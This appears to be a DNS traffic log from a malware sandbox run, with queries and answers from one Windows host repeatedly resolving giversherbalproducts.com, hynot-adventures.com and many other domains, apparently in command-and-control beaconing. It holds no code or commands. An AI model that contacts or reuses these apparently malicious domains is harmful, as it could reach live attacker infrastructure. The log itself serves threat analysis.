Oct 4, 2021 16:04:32.748785019 CEST	192.168.2.3	8.8.8.8	0x81d4	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:33.285480022 CEST	192.168.2.3	8.8.8.8	0x38a1	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:33.835552931 CEST	192.168.2.3	8.8.8.8	0x4d86	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:34.281300068 CEST	192.168.2.3	8.8.8.8	0x5926	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:34.838208914 CEST	192.168.2.3	8.8.8.8	0xa0cd	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:35.098540068 CEST	192.168.2.3	8.8.8.8	0xb857	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:35.754790068 CEST	192.168.2.3	8.8.8.8	0xd8b9	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:36.030083895 CEST	192.168.2.3	8.8.8.8	0x8f7c	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:36.625188112 CEST	192.168.2.3	8.8.8.8	0xdd07	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:36.993948936 CEST	192.168.2.3	8.8.8.8	0xf1ff	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:37.521209955 CEST	192.168.2.3	8.8.8.8	0x1c48	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:37.768481016 CEST	192.168.2.3	8.8.8.8	0xbf7	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:38.356565952 CEST	192.168.2.3	8.8.8.8	0x353b	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:38.579056025 CEST	192.168.2.3	8.8.8.8	0x360	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:39.217195034 CEST	192.168.2.3	8.8.8.8	0x383d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:39.318180084 CEST	192.168.2.3	8.8.8.8	0x5d86	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:39.935825109 CEST	192.168.2.3	8.8.8.8	0xeadb	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:40.208173037 CEST	192.168.2.3	8.8.8.8	0x5e82	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:40.862663984 CEST	192.168.2.3	8.8.8.8	0x23f9	Standard query (0)	opulent-imports.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:41.017396927 CEST	192.168.2.3	8.8.8.8	0xb72	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:41.160909891 CEST	192.168.2.3	8.8.8.8	0xb8bb	Standard query (0)	nitro2point0.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:41.810070038 CEST	192.168.2.3	8.8.8.8	0xfb0b	Standard query (0)	streamline-trade.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:41.835017920 CEST	192.168.2.3	8.8.8.8	0x29c0	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:42.370490074 CEST	192.168.2.3	8.8.8.8	0xe5de	Standard query (0)	sologicgroup.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:42.674206972 CEST	192.168.2.3	8.8.8.8	0xac15	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:42.941458941 CEST	192.168.2.3	8.8.8.8	0xf5fc	Standard query (0)	pedroaros.cl	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:43.432136059 CEST	192.168.2.3	8.8.8.8	0xdb5c	Standard query (0)	apimar.eu	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:43.651398897 CEST	192.168.2.3	8.8.8.8	0x4d6a	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:44.290776968 CEST	192.168.2.3	8.8.8.8	0x9edd	Standard query (0)	baetrading.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:44.435333967 CEST	192.168.2.3	8.8.8.8	0x8c92	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:45.041234970 CEST	192.168.2.3	8.8.8.8	0x8ced	Standard query (0)	ditrpshop.in	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:56.324214935 CEST	192.168.2.3	8.8.8.8	0x7d31	Standard query (0)	surveillantfire.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:57.078954935 CEST	192.168.2.3	8.8.8.8	0xd62	Standard query (0)	dhananialegalaid.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:58.149725914 CEST	192.168.2.3	8.8.8.8	0x8a7b	Standard query (0)	aulaintelimundo.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:58.903614044 CEST	192.168.2.3	8.8.8.8	0x19df	Standard query (0)	muwatin.net	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:59.552325964 CEST	192.168.2.3	8.8.8.8	0xadf9	Standard query (0)	nkp.hr	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:00.150671005 CEST	192.168.2.3	8.8.8.8	0x991a	Standard query (0)	kvrassociates.net	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:01.325609922 CEST	192.168.2.3	8.8.8.8	0x27f2	Standard query (0)	marianaleyton.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:01.761626959 CEST	192.168.2.3	8.8.8.8	0xa174	Standard query (0)	profitshub.in	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:02.386441946 CEST	192.168.2.3	8.8.8.8	0x8133	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:02.415194988 CEST	192.168.2.3	8.8.8.8	0xe592	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:03.285059929 CEST	192.168.2.3	8.8.8.8	0xe8d6	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:03.342025995 CEST	192.168.2.3	8.8.8.8	0x1076	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:04.164985895 CEST	192.168.2.3	8.8.8.8	0x862f	Standard query (0)	hynot-adventures.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:04.190630913 CEST	192.168.2.3	8.8.8.8	0x1b5d	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:34.201394081 CEST	192.168.2.3	8.8.8.8	0x585e	Standard query (0)	opulent-imports.com	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:34.214787006 CEST	192.168.2.3	8.8.8.8	0xcd39	Standard query (0)	giversherbalproducts.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 4, 2021 16:01:08.160294056 CEST	8.8.8.8	192.168.2.3	0x8e59	No error (0)	marianaleyton.com		165.227.90.171	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:08.846973896 CEST	8.8.8.8	192.168.2.3	0x45b3	No error (0)	profitshub.in		199.193.116.170	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:09.500102997 CEST	8.8.8.8	192.168.2.3	0x2b42	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:09.525172949 CEST	8.8.8.8	192.168.2.3	0x12bf	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:10.198103905 CEST	8.8.8.8	192.168.2.3	0x1045	No error (0)	marianaleyton.com		165.227.90.171	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:10.387219906 CEST	8.8.8.8	192.168.2.3	0xefd8	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:10.415586948 CEST	8.8.8.8	192.168.2.3	0x86dc	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:10.658366919 CEST	8.8.8.8	192.168.2.3	0x8804	No error (0)	profitshub.in		199.193.116.170	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:11.248265982 CEST	8.8.8.8	192.168.2.3	0xdf21	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:11.279673100 CEST	8.8.8.8	192.168.2.3	0xd96	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:11.298098087 CEST	8.8.8.8	192.168.2.3	0x47e5	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:11.420186996 CEST	8.8.8.8	192.168.2.3	0x7043	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:12.244121075 CEST	8.8.8.8	192.168.2.3	0x9df4	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:12.348953962 CEST	8.8.8.8	192.168.2.3	0x4fcd	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:12.371721983 CEST	8.8.8.8	192.168.2.3	0x946f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:12.373246908 CEST	8.8.8.8	192.168.2.3	0x5f29	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:13.184020042 CEST	8.8.8.8	192.168.2.3	0xb5b	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:13.210887909 CEST	8.8.8.8	192.168.2.3	0x65af	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:13.297665119 CEST	8.8.8.8	192.168.2.3	0x8c42	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:13.320465088 CEST	8.8.8.8	192.168.2.3	0xf444	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:14.195238113 CEST	8.8.8.8	192.168.2.3	0x1fb2	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:14.317641973 CEST	8.8.8.8	192.168.2.3	0xd466	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:14.363236904 CEST	8.8.8.8	192.168.2.3	0xa98e	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:14.387285948 CEST	8.8.8.8	192.168.2.3	0x7c19	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:15.154738903 CEST	8.8.8.8	192.168.2.3	0x3434	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:15.180056095 CEST	8.8.8.8	192.168.2.3	0x5913	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:15.190359116 CEST	8.8.8.8	192.168.2.3	0xa4c5	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:15.216042995 CEST	8.8.8.8	192.168.2.3	0xd7b9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:16.068550110 CEST	8.8.8.8	192.168.2.3	0x4338	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:16.092784882 CEST	8.8.8.8	192.168.2.3	0xa575	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:16.145757914 CEST	8.8.8.8	192.168.2.3	0x2eac	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:16.181420088 CEST	8.8.8.8	192.168.2.3	0xe046	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.005112886 CEST	8.8.8.8	192.168.2.3	0x12ec	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.034152985 CEST	8.8.8.8	192.168.2.3	0x3c4c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.064096928 CEST	8.8.8.8	192.168.2.3	0x414	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.098162889 CEST	8.8.8.8	192.168.2.3	0xb7a7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.924074888 CEST	8.8.8.8	192.168.2.3	0x3240	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.934752941 CEST	8.8.8.8	192.168.2.3	0x2ac4	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.947803020 CEST	8.8.8.8	192.168.2.3	0xa12d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:17.960160971 CEST	8.8.8.8	192.168.2.3	0x122a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:18.968645096 CEST	8.8.8.8	192.168.2.3	0xbc78	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:19.229377031 CEST	8.8.8.8	192.168.2.3	0x4a1f	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:19.236545086 CEST	8.8.8.8	192.168.2.3	0xbcf	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:19.252310991 CEST	8.8.8.8	192.168.2.3	0xa7e7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:20.882368088 CEST	8.8.8.8	192.168.2.3	0x960c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:20.918199062 CEST	8.8.8.8	192.168.2.3	0xb699	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:21.164243937 CEST	8.8.8.8	192.168.2.3	0xce52	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:21.190628052 CEST	8.8.8.8	192.168.2.3	0xaa9e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:23.677265882 CEST	8.8.8.8	192.168.2.3	0x7aca	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:23.713159084 CEST	8.8.8.8	192.168.2.3	0x5d2c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:23.842664957 CEST	8.8.8.8	192.168.2.3	0x5149	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:23.884960890 CEST	8.8.8.8	192.168.2.3	0xae	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:24.693101883 CEST	8.8.8.8	192.168.2.3	0x963d	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:24.735342979 CEST	8.8.8.8	192.168.2.3	0x25f1	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:24.995620012 CEST	8.8.8.8	192.168.2.3	0x6361	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.019263029 CEST	8.8.8.8	192.168.2.3	0x9610	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.572634935 CEST	8.8.8.8	192.168.2.3	0x67e8	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.598095894 CEST	8.8.8.8	192.168.2.3	0xd454	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.912390947 CEST	8.8.8.8	192.168.2.3	0x5730	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:25.977901936 CEST	8.8.8.8	192.168.2.3	0x2395	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:26.401560068 CEST	8.8.8.8	192.168.2.3	0x7e46	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:26.427462101 CEST	8.8.8.8	192.168.2.3	0x53c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:26.929071903 CEST	8.8.8.8	192.168.2.3	0xbf9c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:26.969803095 CEST	8.8.8.8	192.168.2.3	0x583a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:27.359719992 CEST	8.8.8.8	192.168.2.3	0xba37	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:27.387818098 CEST	8.8.8.8	192.168.2.3	0x3fbc	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:28.139285088 CEST	8.8.8.8	192.168.2.3	0x2df2	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:28.171000957 CEST	8.8.8.8	192.168.2.3	0x4b7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:28.279285908 CEST	8.8.8.8	192.168.2.3	0xf5f8	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:28.303375006 CEST	8.8.8.8	192.168.2.3	0x6e89	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.054306984 CEST	8.8.8.8	192.168.2.3	0xe6ce	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.077227116 CEST	8.8.8.8	192.168.2.3	0x504c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.108527899 CEST	8.8.8.8	192.168.2.3	0xdd13	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.134242058 CEST	8.8.8.8	192.168.2.3	0x87ab	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.896220922 CEST	8.8.8.8	192.168.2.3	0x6ab3	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:29.918338060 CEST	8.8.8.8	192.168.2.3	0x5269	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:30.063359976 CEST	8.8.8.8	192.168.2.3	0x2971	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:30.193700075 CEST	8.8.8.8	192.168.2.3	0x940e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:30.808286905 CEST	8.8.8.8	192.168.2.3	0xcc22	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:30.855217934 CEST	8.8.8.8	192.168.2.3	0x9005	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:31.121056080 CEST	8.8.8.8	192.168.2.3	0x8e1	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:31.185765028 CEST	8.8.8.8	192.168.2.3	0xcb24	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:32.444674969 CEST	8.8.8.8	192.168.2.3	0x8cb2	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:32.471585035 CEST	8.8.8.8	192.168.2.3	0x7318	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:32.501914978 CEST	8.8.8.8	192.168.2.3	0x2460	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:32.527040005 CEST	8.8.8.8	192.168.2.3	0xbd31	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:33.362649918 CEST	8.8.8.8	192.168.2.3	0xa96a	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:33.388326883 CEST	8.8.8.8	192.168.2.3	0x2adb	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:33.523303032 CEST	8.8.8.8	192.168.2.3	0xba4	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:33.547418118 CEST	8.8.8.8	192.168.2.3	0xd9af	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:34.181004047 CEST	8.8.8.8	192.168.2.3	0xe300	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:34.303262949 CEST	8.8.8.8	192.168.2.3	0x4239	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:34.433707952 CEST	8.8.8.8	192.168.2.3	0xdd5	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:34.458389997 CEST	8.8.8.8	192.168.2.3	0x237d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:35.201847076 CEST	8.8.8.8	192.168.2.3	0xa4fd	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:35.227109909 CEST	8.8.8.8	192.168.2.3	0xc468	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:35.378155947 CEST	8.8.8.8	192.168.2.3	0x60e9	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:35.402966976 CEST	8.8.8.8	192.168.2.3	0x41df	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.065129995 CEST	8.8.8.8	192.168.2.3	0x4906	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.087625027 CEST	8.8.8.8	192.168.2.3	0xc17	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.394066095 CEST	8.8.8.8	192.168.2.3	0x2563	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.417362928 CEST	8.8.8.8	192.168.2.3	0x34cf	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.884025097 CEST	8.8.8.8	192.168.2.3	0x8a48	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:36.908879995 CEST	8.8.8.8	192.168.2.3	0x8412	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:37.303158045 CEST	8.8.8.8	192.168.2.3	0xb6aa	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:37.328053951 CEST	8.8.8.8	192.168.2.3	0xe49d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:37.743530989 CEST	8.8.8.8	192.168.2.3	0xf0cc	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:37.770184994 CEST	8.8.8.8	192.168.2.3	0x1e73	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:38.219321966 CEST	8.8.8.8	192.168.2.3	0xa36e	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:38.243346930 CEST	8.8.8.8	192.168.2.3	0xdade	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:38.652195930 CEST	8.8.8.8	192.168.2.3	0x870e	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:38.677011013 CEST	8.8.8.8	192.168.2.3	0xbd2c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:39.214328051 CEST	8.8.8.8	192.168.2.3	0x11	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:39.246087074 CEST	8.8.8.8	192.168.2.3	0x6a51	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:39.470669031 CEST	8.8.8.8	192.168.2.3	0xac62	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:39.493341923 CEST	8.8.8.8	192.168.2.3	0xcf8c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.054497957 CEST	8.8.8.8	192.168.2.3	0x5344	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.075522900 CEST	8.8.8.8	192.168.2.3	0x6e1d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.443347931 CEST	8.8.8.8	192.168.2.3	0xf49a	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.467380047 CEST	8.8.8.8	192.168.2.3	0x422e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.958514929 CEST	8.8.8.8	192.168.2.3	0xc5ff	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:40.982429028 CEST	8.8.8.8	192.168.2.3	0xb583	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:41.332348108 CEST	8.8.8.8	192.168.2.3	0xf851	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:41.357707024 CEST	8.8.8.8	192.168.2.3	0x3f50	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:42.174159050 CEST	8.8.8.8	192.168.2.3	0xa19b	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:42.199337959 CEST	8.8.8.8	192.168.2.3	0x17c9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:42.223073006 CEST	8.8.8.8	192.168.2.3	0x3095	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:42.247559071 CEST	8.8.8.8	192.168.2.3	0x2452	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:43.129689932 CEST	8.8.8.8	192.168.2.3	0x5283	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:43.133128881 CEST	8.8.8.8	192.168.2.3	0xe0cf	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:43.157613039 CEST	8.8.8.8	192.168.2.3	0x4bf5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:01:43.167695999 CEST	8.8.8.8	192.168.2.3	0x468a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
